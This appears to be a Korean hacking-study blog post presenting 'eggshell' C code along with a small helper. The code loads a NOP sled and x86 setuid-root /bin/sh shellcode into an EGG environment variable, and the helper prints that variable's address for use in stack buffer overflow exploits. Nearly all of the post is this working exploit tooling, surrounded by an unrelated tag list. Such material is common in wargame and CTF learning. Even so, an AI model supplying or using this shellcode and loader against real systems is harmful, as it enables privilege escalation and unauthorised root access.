| 일 | 월 | 화 | 수 | 목 | 금 | 토 |
|---|---|---|---|---|---|---|
| 1 | 2 | 3 | 4 | |||
| 5 | 6 | 7 | 8 | 9 | 10 | 11 |
| 12 | 13 | 14 | 15 | 16 | 17 | 18 |
| 19 | 20 | 21 | 22 | 23 | 24 | 25 |
| 26 | 27 | 28 | 29 | 30 | 31 |
Tags
- 불가피
- 뭉쳐야 찬다
- 해킹
- 은혜의 강 교회
- 제넥신
- 폰폰테스트
- 홍혜걸
- 양적완화
- 픽크루
- 성남 코로나 확진자
- 이지혜
- 학교 개학 연기 4월
- 조희연
- libtins
- 금리인하
- 최강욱
- 성남은혜의강교회
- 스콜피온킹
- 미국 금리인하
- 이상형 만들기
- 김재석
- 김영권
- 이태원 클라쓰 15회 예고
- 리리남매
- 임영규
- 유튜버 김재석
- 스페인 코로나
- 킹덤 고근희
- 김영권 아내
- 고민정
Archives
- Today
- Total
Dork's port
Eggshell Code 본문
환경 변수 등록 및 쉘 실행
//eggshell.c
#include<stdlib.h>
#define _OFFSET 0
#define _BUFFER_SIZE 512
#define _EGG_SIZE 2048
#define NOP 0x90
char shellcode[] ="\x31\xc0"
"\x31\xdb"
"\xb0\x46"
"\xcd\x80"
"\x31\xc0"
"\x50"
"\x68\x2f\x2f\x73\x68"
"\x68\x2f\x62\x69\x6e"
"\x89\xe3"
"\x50"
"\x53"
"\x89\xe1"
"\x89\xc2"
"\xb0\x0b"
"\xcd\x80"
"\x31\xc0\xb0\x01\xcd\x80";
unsigned long get_esp(){
__asm__ __volatile__("movl %esp, %eax"); /* esp의 address를 return */
}
int main(int argc, char **argv){
char *ptr, *egg;
long *addr_ptr, addr;
int i;
int offset = _OFFSET, bsize = _BUFFER_SIZE, eggsize = _EGG_SIZE;
if(argc > 1) bsize = atoi(argv[1]);
if(argc > 2) offset = atoi(argv[2]);
if(argc > 3) eggsize = atoi(argv[3]);
if(!(egg = malloc(eggsize))){ /* NOP와 쉘 코드를 넣을 버퍼 생성 */
printf("Cannot allocate egg.\n");
exit(0);
}
addr = get_esp() - offset; /* stack pointer를 얻어 옴 */
printf("esp : %p\n", addr); /* esp 값 출력 */
ptr = egg;
for(i=0; i<eggsize - strlen(shellcode) -1 ; i++)
*(ptr++) = NOP; /* egg를 NOP로 먼저 채우고 */
for(i=0 ; i<strlen(shellcode) ; i++)
*(ptr++) = shellcode[i]; /* 남은 공간을 쉘 코드로 채움 */
egg[eggsize-1] = '\0';
memcpy(egg, "EGG=",4);
putenv(egg);
system("/bin/bash");
/* EGG라는 환경 변수로 등록 */ /* 환경 변수가 적용된 쉘 실행 */
}
environ의 환경변수 주소 return
//getEnvAddr.c
#include <stdio.h>
int main()
{
printf("Addr = %p\n",getenv("EGG"));
return 0;
}
https://github.com/JangHanbin/eggshell
Comments